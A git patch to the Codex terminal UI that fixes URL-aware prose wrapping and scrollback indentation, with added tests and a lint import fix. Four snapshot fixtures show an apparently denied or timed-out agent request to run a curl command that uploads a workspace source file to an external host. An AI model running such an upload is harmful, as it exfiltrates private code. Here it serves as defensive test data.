From f27cf9db0974d344d78e7e0b47e7c812776b1395 Mon Sep 17 00:00:00 2001 From: Felipe Coury Date: Sat, 9 May 2026 13:58:10 -0300 Subject: [PATCH] fix(tui): preserve wrapped prose beside URLs (#21760) ## Why Mixed prose lines that contained URLs started taking the URL-preserving wrapping path, but that path could split ordinary words mid-token. A follow-up issue remained in scrollback insertion: when already-rendered indented rows were wrapped again, continuation rows could lose their margin and fall back to terminal hard wrapping. Together those bugs made normal Markdown output look broken around links, lists, blockquotes, and indented content. Separately, the local argument-comment lint wrappers failed under environments that set `PYTHONSAFEPATH=1`, because Python no longer adds the script directory to `sys.path` automatically. That prevented the lint from reaching Rust callsites at all. CleanShot 2026-05-09 at 11 51 38 ## What Changed - Preserve URL tokens without turning every neighboring prose word into a character-level split point. - Add a mixed URL/prose wrapper that keeps ordinary words whole, preserves leading whitespace, and re-splits long non-URL tokens against the actual width available on continuation rows. - Reuse a rendered history row's leading whitespace as the continuation indent when scrollback insertion has to pre-wrap it again. - Add regression coverage for markdown wrapping, history-cell rendering, scrollback continuation margins, leading-indent width accounting, and continuation-row re-splitting. - Make both argument-comment lint entrypoints explicitly add their own directory to `sys.path`, so sibling imports still work when `PYTHONSAFEPATH=1`. ## How to Test 1. Start Codex and render a long Markdown response that mixes prose with inline links, blockquotes, lists, and indented code-like text. 2. Confirm that ordinary words next to links stay whole instead of breaking mid-word. 3. Resize or replay the transcript and confirm wrapped continuation rows keep their expected left margin for blockquotes, lists, and indented content. 4. Run the source argument-comment lint from a shell with `PYTHONSAFEPATH=1` and confirm it starts normally instead of failing to import `wrapper_common`. Targeted tests: - `cargo test -p codex-tui mixed_line --lib` - `cargo test -p codex-tui preserves_prefix_on_wrapped_rows --lib` - `cargo test -p codex-tui agent_markdown_cell_does_not_split_words_after_inline_markdown --lib` - `cargo test -p codex-tui mixed_url_markdown_wraps_prose_without_splitting_words_snapshot --lib` - `python3 tools/argument-comment-lint/test_wrapper_common.py` - `just argument-comment-lint-from-source -p codex-tui -- --lib` Notes: - `cargo test -p codex-tui` currently reaches the new tests successfully, then still aborts in the pre-existing `tests::fork_last_filters_latest_session_by_cwd_unless_show_all` stack-overflow failure. --- ..._review_denied_renders_denied_request.snap | 4 +- ...w_timed_out_renders_timed_out_request.snap | 4 +- ...ec_renders_warning_and_denied_request.snap | 4 +- ...renders_warning_and_timed_out_request.snap | 4 +- codex-rs/tui/src/history_cell.rs | 16 + codex-rs/tui/src/insert_history.rs | 91 +++++- codex-rs/tui/src/markdown_render_tests.rs | 8 + ...rose_without_splitting_words_snapshot.snap | 7 + codex-rs/tui/src/wrapping.rs | 290 +++++++++++++++--- .../run-prebuilt-linter.py | 3 + tools/argument-comment-lint/run.py | 3 + .../test_wrapper_common.py | 3 + 12 files changed, 389 insertions(+), 48 deletions(-) create mode 100644 codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__mixed_url_markdown_wraps_prose_without_splitting_words_snapshot.snap diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap index 938074dd9..70af203e4 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap @@ -9,8 +9,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents()) -✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c - odex.rs https://example.com +✗ Request denied for codex to run curl -sS -i -X POST --data-binary + @core/src/codex.rs https://example.com • Working (0s • esc to interrupt) diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_timed_out_renders_timed_out_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_timed_out_renders_timed_out_request.snap index c2a160715..3dfe36e76 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_timed_out_renders_timed_out_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_timed_out_renders_timed_out_request.snap @@ -9,8 +9,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents()) -✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co - re/src/codex.rs https://example.com +✗ Review timed out before codex could run curl -sS -i -X POST --data-binary + @core/src/codex.rs https://example.com • Working (0s • esc to interrupt) diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap index 4213390ad..c9194b60b 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap @@ -13,8 +13,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents()) transmit the full contents of a workspace source file (`core/src/codex.rs`) to `https://example.com`, which is an external and untrusted endpoint. -✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c - odex.rs https://example.com +✗ Request denied for codex to run curl -sS -i -X POST --data-binary + @core/src/codex.rs https://example.com • Working (0s • esc to interrupt) diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_timed_out_exec_renders_warning_and_timed_out_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_timed_out_exec_renders_warning_and_timed_out_request.snap index f8f3253dc..8f6436bf6 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_timed_out_exec_renders_warning_and_timed_out_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_timed_out_exec_renders_warning_and_timed_out_request.snap @@ -13,8 +13,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents()) ⚠ Automatic approval review timed out while evaluating the requested approval. -✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co - re/src/codex.rs https://example.com +✗ Review timed out before codex could run curl -sS -i -X POST --data-binary + @core/src/codex.rs https://example.com • Working (0s • esc to interrupt) diff --git a/codex-rs/tui/src/history_cell.rs b/codex-rs/tui/src/history_cell.rs index 256345f67..9920bf63a 100644 --- a/codex-rs/tui/src/history_cell.rs +++ b/codex-rs/tui/src/history_cell.rs @@ -5690,6 +5690,22 @@ mod tests { ); } + #[test] + fn agent_markdown_cell_does_not_split_words_after_inline_markdown() { + let source = "This paragraph is intentionally long so you can inspect soft wrapping behavior while also checking inline formatting like **bold text**, *italic text*, ***bold italic text***, `inline code`, ~~strikethrough~~, a [link to example.com](https://example.com), and a literal path like [README.md](/Users/felipe.coury/code/codex.fcoury-worktrees/README.md) without introducing manual line breaks.\n"; + let cell = AgentMarkdownCell::new(source.to_string(), &test_cwd()); + + let lines = render_lines(&cell.display_lines(/*width*/ 190)); + assert!( + lines[0].ends_with("inline code,"), + "expected wrapping to stop before 'strikethrough': {lines:?}", + ); + assert!( + lines[1].starts_with(" strikethrough,"), + "expected the next line to resume with the full word: {lines:?}", + ); + } + #[test] fn agent_markdown_cell_narrow_width_shows_prefix_only() { let source = "narrow width coverage\n"; diff --git a/codex-rs/tui/src/insert_history.rs b/codex-rs/tui/src/insert_history.rs index 2543b56ba..6a83594e1 100644 --- a/codex-rs/tui/src/insert_history.rs +++ b/codex-rs/tui/src/insert_history.rs @@ -139,7 +139,10 @@ where { vec![line.clone()] } - HistoryLineWrapPolicy::PreWrap => adaptive_wrap_line(line, RtOptions::new(wrap_width)), + HistoryLineWrapPolicy::PreWrap => adaptive_wrap_line( + line, + RtOptions::new(wrap_width).subsequent_indent(leading_whitespace_prefix(line)), + ), }; wrapped_rows += line_wrapped .iter() @@ -246,6 +249,27 @@ where Ok(()) } +fn leading_whitespace_prefix(line: &Line<'_>) -> Line<'static> { + let mut spans = Vec::new(); + for span in &line.spans { + let prefix_end = span + .content + .char_indices() + .find_map(|(idx, ch)| (!ch.is_whitespace()).then_some(idx)) + .unwrap_or(span.content.len()); + if prefix_end > 0 { + spans.push(Span::styled( + span.content[..prefix_end].to_string(), + span.style, + )); + } + if prefix_end < span.content.len() { + break; + } + } + Line::from(spans).style(line.style) +} + /// Render a single wrapped history line: clear continuation rows for wide lines, /// set foreground/background colors, and write styled spans. Caller is responsible /// for cursor positioning and any leading `\r\n`. @@ -764,6 +788,71 @@ mod tests { ); } + #[test] + fn vt100_prefixed_mixed_url_line_preserves_prefix_on_wrapped_rows() { + let width: u16 = 24; + let height: u16 = 10; + let backend = VT100Backend::new(width, height); + let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal"); + let viewport = Rect::new( + /*x*/ 0, + /*y*/ height - 1, + /*width*/ width, + /*height*/ 1, + ); + term.set_viewport_area(viewport); + + let line: Line<'static> = Line::from(vec![ + " ".into(), + "see https://example.com and enough trailing prose to force another wrapped row".into(), + ]); + + insert_history_lines(&mut term, vec![line]).expect("insert mixed history"); + + let rows: Vec = term.backend().vt100().screen().rows(0, width).collect(); + let continuation_row = rows + .iter() + .find(|row| row.contains("prose to force another")) + .unwrap_or_else(|| panic!("expected continuation row in screen rows: {rows:?}")); + + assert!( + continuation_row.starts_with(" "), + "expected wrapped continuation row to keep the original prefix, rows: {rows:?}" + ); + } + + #[test] + fn vt100_prefixed_non_url_line_preserves_prefix_on_wrapped_rows() { + let width: u16 = 32; + let height: u16 = 10; + let backend = VT100Backend::new(width, height); + let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal"); + let viewport = Rect::new( + /*x*/ 0, + /*y*/ height - 1, + /*width*/ width, + /*height*/ 1, + ); + term.set_viewport_area(viewport); + + let line = Line::from( + " dog while this deliberately long string tests code block scrolling versus soft wrapping", + ); + + insert_history_lines(&mut term, vec![line]).expect("insert prefixed history"); + + let rows: Vec = term.backend().vt100().screen().rows(0, width).collect(); + let continuation_row = rows + .iter() + .find(|row| row.contains("tests code block scrolling")) + .unwrap_or_else(|| panic!("expected continuation row in screen rows: {rows:?}")); + + assert!( + continuation_row.starts_with(" "), + "expected wrapped continuation row to keep the original prefix, rows: {rows:?}" + ); + } + #[test] fn vt100_terminal_wrap_policy_does_not_pre_wrap_long_paragraph() { let width: u16 = 20; diff --git a/codex-rs/tui/src/markdown_render_tests.rs b/codex-rs/tui/src/markdown_render_tests.rs index cb15c5ff7..f14d93304 100644 --- a/codex-rs/tui/src/markdown_render_tests.rs +++ b/codex-rs/tui/src/markdown_render_tests.rs @@ -8,6 +8,7 @@ use std::path::Path; use crate::markdown_render::COLON_LOCATION_SUFFIX_RE; use crate::markdown_render::HASH_LOCATION_SUFFIX_RE; use crate::markdown_render::render_markdown_text; +use crate::markdown_render::render_markdown_text_with_width; use crate::markdown_render::render_markdown_text_with_width_and_cwd; use insta::assert_snapshot; @@ -1180,6 +1181,13 @@ fn list_item_after_simple_item_stays_compact() { assert_eq!(plain_lines(&text), vec!["1. First", "2. Second"]); } +#[test] +fn mixed_url_markdown_wraps_prose_without_splitting_words_snapshot() { + let md = "This paragraph keeps **strikethrough** intact near a [link](https://example.com/path) while enough surrounding prose forces wrapping."; + let text = render_markdown_text_with_width(md, Some(/*width*/ 48)); + assert_snapshot!(plain_lines(&text).join("\n")); +} + #[test] fn markdown_render_complex_snapshot() { let md = r#"# H1: Markdown Streaming Test diff --git a/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__mixed_url_markdown_wraps_prose_without_splitting_words_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__mixed_url_markdown_wraps_prose_without_splitting_words_snapshot.snap new file mode 100644 index 000000000..930a17226 --- /dev/null +++ b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__mixed_url_markdown_wraps_prose_without_splitting_words_snapshot.snap @@ -0,0 +1,7 @@ +--- +source: tui/src/markdown_render_tests.rs +expression: "plain_lines(&text).join(\"\\n\")" +--- +This paragraph keeps strikethrough intact near a +link (https://example.com/path) while enough +surrounding prose forces wrapping. diff --git a/codex-rs/tui/src/wrapping.rs b/codex-rs/tui/src/wrapping.rs index 09741c414..61bd8147a 100644 --- a/codex-rs/tui/src/wrapping.rs +++ b/codex-rs/tui/src/wrapping.rs @@ -12,10 +12,9 @@ //! content is known to be plain prose. //! - **Adaptive** (`adaptive_wrap_line`, `adaptive_wrap_lines`): //! inspects the line for URL-like tokens; if any are found, the -//! wrapping switches to `AsciiSpace` word separation and a custom -//! `WordSplitter` that refuses to split URL tokens. Non-URL tokens -//! on the same line still break at every character boundary (the -//! custom splitter returns all char indices for non-URL words). +//! wrapping keeps URL tokens intact. Mixed URL/prose lines still wrap +//! ordinary prose at word boundaries, only splitting a non-URL token +//! when that token is itself wider than the available row width. //! //! Callers that *might* encounter URLs should use the `adaptive_*` //! functions. Callers that definitely will not (code blocks, pure @@ -31,6 +30,9 @@ use ratatui::text::Span; use std::borrow::Cow; use std::ops::Range; use textwrap::Options; +use textwrap::WordSeparator; +use textwrap::core::Word; +use textwrap::core::display_width; use crate::render::line_utils::push_owned_lines; @@ -458,42 +460,34 @@ fn is_domain_label(label: &str) -> bool { /// Reconfigures wrapping options so that URL-like tokens are never split. /// /// Sets `AsciiSpace` word separation (so `/` and `-` inside URLs are -/// not treated as break points), disables `break_words`, and installs a -/// custom `WordSplitter` that returns no split points for URL tokens -/// while still allowing character-level splitting for non-URL words. +/// not treated as break points), disables `break_words`, and prevents +/// per-word hyphenation. Mixed URL/prose lines use a dedicated wrapper +/// so normal prose can still wrap cleanly around the preserved URL token. pub(crate) fn url_preserving_wrap_options<'a>(opts: RtOptions<'a>) -> RtOptions<'a> { opts.word_separator(textwrap::WordSeparator::AsciiSpace) - .word_splitter(textwrap::WordSplitter::Custom(split_non_url_word)) + .word_splitter(textwrap::WordSplitter::NoHyphenation) .break_words(/*break_words*/ false) } -/// Custom `textwrap::WordSplitter` callback. Returns empty (no split -/// points) for URL-like tokens so they are kept intact; returns every -/// char-boundary index for everything else so non-URL words can still -/// break at any position. -fn split_non_url_word(word: &str) -> Vec { - if is_url_like_token(word) { - return Vec::new(); - } - - word.char_indices().skip(1).map(|(idx, _)| idx).collect() -} - /// Wraps a single ratatui `Line`, automatically switching to /// URL-preserving options when the line contains a URL-like token. /// /// When no URL is detected, wrapping behavior is identical to -/// [`word_wrap_line`]. When a URL is detected, the line is wrapped with -/// [`url_preserving_wrap_options`] — URLs stay intact while non-URL -/// words on the same line still break normally. +/// [`word_wrap_line`]. URL-only lines use [`url_preserving_wrap_options`] +/// so terminal link detection keeps seeing one intact token. Mixed URL/prose +/// lines use a token-aware wrapper so ordinary prose still moves as whole words +/// while a genuinely overlong non-URL token can still split if needed. #[must_use] pub(crate) fn adaptive_wrap_line<'a>(line: &'a Line<'a>, base: RtOptions<'a>) -> Vec> { - let selected = if line_contains_url_like(line) { - url_preserving_wrap_options(base) + if !line_contains_url_like(line) { + return word_wrap_line(line, base); + } + + if line_has_mixed_url_and_non_url_tokens(line) { + mixed_url_wrap_line(line, base) } else { - base - }; - word_wrap_line(line, selected) + word_wrap_line(line, url_preserving_wrap_options(base)) + } } /// Wraps multiple input lines with URL-aware heuristics, applying @@ -639,17 +633,7 @@ pub(crate) fn word_wrap_line<'a, O>(line: &'a Line<'a>, width_or_options: O) -> where O: Into>, { - // Flatten the line and record span byte ranges. - let mut flat = String::new(); - let mut span_bounds = Vec::new(); - let mut acc = 0usize; - for s in &line.spans { - let text = s.content.as_ref(); - let start = acc; - flat.push_str(text); - acc += text.len(); - span_bounds.push((start..acc, s.style)); - } + let (flat, span_bounds) = flatten_line(line); let rt_opts: RtOptions<'a> = width_or_options.into(); let opts = Options::new(rt_opts.width) @@ -718,6 +702,186 @@ where out } +#[derive(Clone, Debug)] +struct MixedUrlWord { + range: Range, + is_url: bool, +} + +impl MixedUrlWord { + fn width(&self, text: &str) -> usize { + display_width(&text[self.range.clone()]) + } +} + +fn mixed_url_wrap_line<'a>(line: &'a Line<'a>, rt_opts: RtOptions<'a>) -> Vec> { + let (flat, span_bounds) = flatten_line(line); + let initial_width_available = rt_opts + .width + .saturating_sub(rt_opts.initial_indent.width()) + .max(1); + let subsequent_width_available = rt_opts + .width + .saturating_sub(rt_opts.subsequent_indent.width()) + .max(1); + let ranges = mixed_url_wrap_ranges(&flat, initial_width_available, subsequent_width_available); + + let mut out = Vec::new(); + for (idx, range) in ranges.iter().enumerate() { + let mut wrapped_line = if idx == 0 { + rt_opts.initial_indent.clone() + } else { + rt_opts.subsequent_indent.clone() + } + .style(line.style); + let sliced = slice_line_spans(line, &span_bounds, range); + let mut spans = wrapped_line.spans; + spans.extend( + sliced + .spans + .into_iter() + .map(|span| span.patch_style(line.style)), + ); + wrapped_line.spans = spans; + out.push(wrapped_line); + } + + if out.is_empty() { + vec![rt_opts.initial_indent.clone()] + } else { + out + } +} + +fn mixed_url_wrap_ranges( + text: &str, + initial_width: usize, + subsequent_width: usize, +) -> Vec> { + let leading_space_width = text.chars().take_while(|ch| *ch == ' ').count(); + let mut words = Vec::new(); + let mut cursor = 0usize; + for word in WordSeparator::AsciiSpace.find_words(text) { + let word_start = cursor; + let word_end = word_start + word.word.len(); + let trailing_space_end = word_end + word.whitespace.len(); + if !word.word.is_empty() { + words.push(MixedUrlWord { + range: word_start..word_end, + is_url: is_url_like_token(word.word), + }); + } + cursor = trailing_space_end; + } + + let mut lines = Vec::new(); + let mut line_start = None; + let mut line_end = 0usize; + let mut line_width = 0usize; + let mut line_limit = initial_width.max(1); + + for word in words { + let mut pending = split_mixed_url_word(text, word, line_limit); + let mut pending_idx = 0usize; + + while let Some(piece) = pending.get(pending_idx).cloned() { + let empty_line_prefix_width = if line_start.is_none() && lines.is_empty() { + leading_space_width + } else { + 0 + }; + let empty_line_piece_limit = line_limit.saturating_sub(empty_line_prefix_width).max(1); + if line_start.is_none() && !piece.is_url && piece.width(text) > empty_line_piece_limit { + pending.splice( + pending_idx..=pending_idx, + split_mixed_url_word(text, piece, empty_line_piece_limit), + ); + continue; + } + + let piece_width = piece.width(text); + let inter_word_space = line_start + .map(|_| text[line_end..piece.range.start].len()) + .unwrap_or(0); + let fits = if line_start.is_none() { + piece.is_url + || empty_line_prefix_width + piece_width <= line_limit + || empty_line_prefix_width >= line_limit + } else { + line_width + inter_word_space + piece_width <= line_limit + }; + + if fits { + if line_start.is_none() { + let is_first_output_line = lines.is_empty(); + let start = if is_first_output_line { + 0 + } else { + piece.range.start + }; + line_start = Some(start); + line_width = if is_first_output_line { + leading_space_width + piece_width + } else { + piece_width + }; + } else { + line_width += inter_word_space + piece_width; + } + line_end = piece.range.end; + pending_idx += 1; + continue; + } + + if let Some(start) = line_start.take() { + lines.push(start..line_end); + } + line_end = 0; + line_width = 0; + line_limit = subsequent_width.max(1); + } + } + + if let Some(start) = line_start { + lines.push(start..line_end); + } + + lines +} + +fn split_mixed_url_word(text: &str, word: MixedUrlWord, line_limit: usize) -> Vec { + if word.is_url || word.width(text) <= line_limit { + return vec![word]; + } + + let source = Word::from(&text[word.range.clone()]); + let mut offset = word.range.start; + let mut pieces = Vec::new(); + for piece in source.break_apart(line_limit.max(1)) { + let end = offset + piece.word.len(); + pieces.push(MixedUrlWord { + range: offset..end, + is_url: false, + }); + offset = end; + } + pieces +} + +fn flatten_line(line: &Line<'_>) -> (String, Vec<(Range, ratatui::style::Style)>) { + let mut flat = String::new(); + let mut span_bounds = Vec::new(); + let mut acc = 0usize; + for span in &line.spans { + let text = span.content.as_ref(); + let start = acc; + flat.push_str(text); + acc += text.len(); + span_bounds.push((start..acc, span.style)); + } + (flat, span_bounds) +} + /// Utilities to allow wrapping either borrowed or owned lines. #[derive(Debug)] enum LineInput<'a> { @@ -1247,6 +1411,20 @@ them."# ); } + #[test] + fn adaptive_wrap_line_mixed_line_keeps_regular_words_intact() { + let line = Line::from( + "see https://example.com/path and keep strikethrough intact while wrapping prose", + ); + let out = adaptive_wrap_line(&line, RtOptions::new(/*width*/ 36)); + let joined = out.iter().map(concat_line).join("\n"); + + assert_eq!( + joined, + "see https://example.com/path and\nkeep strikethrough intact while\nwrapping prose" + ); + } + #[test] fn adaptive_wrap_line_mixed_line_wraps_long_non_url_token() { let long_non_url = "a_very_long_token_without_spaces_to_force_wrapping"; @@ -1265,6 +1443,40 @@ them."# ); } + #[test] + fn adaptive_wrap_line_mixed_line_counts_leading_spaces_before_first_word() { + let line = Line::from(" abcdefgh https://x.co"); + let out = adaptive_wrap_line( + &line, + RtOptions::new(/*width*/ 10).subsequent_indent(" ".into()), + ); + let rendered = out.iter().map(concat_line).collect_vec(); + + assert_eq!( + rendered[..2], + [" abcd".to_string(), " efgh".to_string()] + ); + } + + #[test] + fn adaptive_wrap_line_mixed_line_resplits_long_token_for_continuation_width() { + let line = Line::from("abcdefghijklmnopqrst https://x.co"); + let out = adaptive_wrap_line( + &line, + RtOptions::new(/*width*/ 10).subsequent_indent(" ".into()), + ); + let rendered = out.iter().map(concat_line).collect_vec(); + + assert_eq!( + rendered[..3], + [ + "abcdefghij".to_string(), + " klmnop".to_string(), + " qrst".to_string(), + ] + ); + } + #[test] fn map_owned_wrapped_line_to_range_recovers_on_non_prefix_mismatch() { // Match source chars first, then introduce a non-penalty mismatch. diff --git a/tools/argument-comment-lint/run-prebuilt-linter.py b/tools/argument-comment-lint/run-prebuilt-linter.py index 6f1e4c885..31a5c226f 100755 --- a/tools/argument-comment-lint/run-prebuilt-linter.py +++ b/tools/argument-comment-lint/run-prebuilt-linter.py @@ -4,6 +4,9 @@ from __future__ import annotations import os import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent)) from wrapper_common import ( build_final_args, diff --git a/tools/argument-comment-lint/run.py b/tools/argument-comment-lint/run.py index b4be29a26..c6247c44b 100755 --- a/tools/argument-comment-lint/run.py +++ b/tools/argument-comment-lint/run.py @@ -4,6 +4,9 @@ from __future__ import annotations import os import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent)) from wrapper_common import ( build_final_args, diff --git a/tools/argument-comment-lint/test_wrapper_common.py b/tools/argument-comment-lint/test_wrapper_common.py index dbea24b53..3998f2e41 100644 --- a/tools/argument-comment-lint/test_wrapper_common.py +++ b/tools/argument-comment-lint/test_wrapper_common.py @@ -3,8 +3,11 @@ from __future__ import annotations from pathlib import Path +import sys import unittest +sys.path.insert(0, str(Path(__file__).resolve().parent)) + import wrapper_common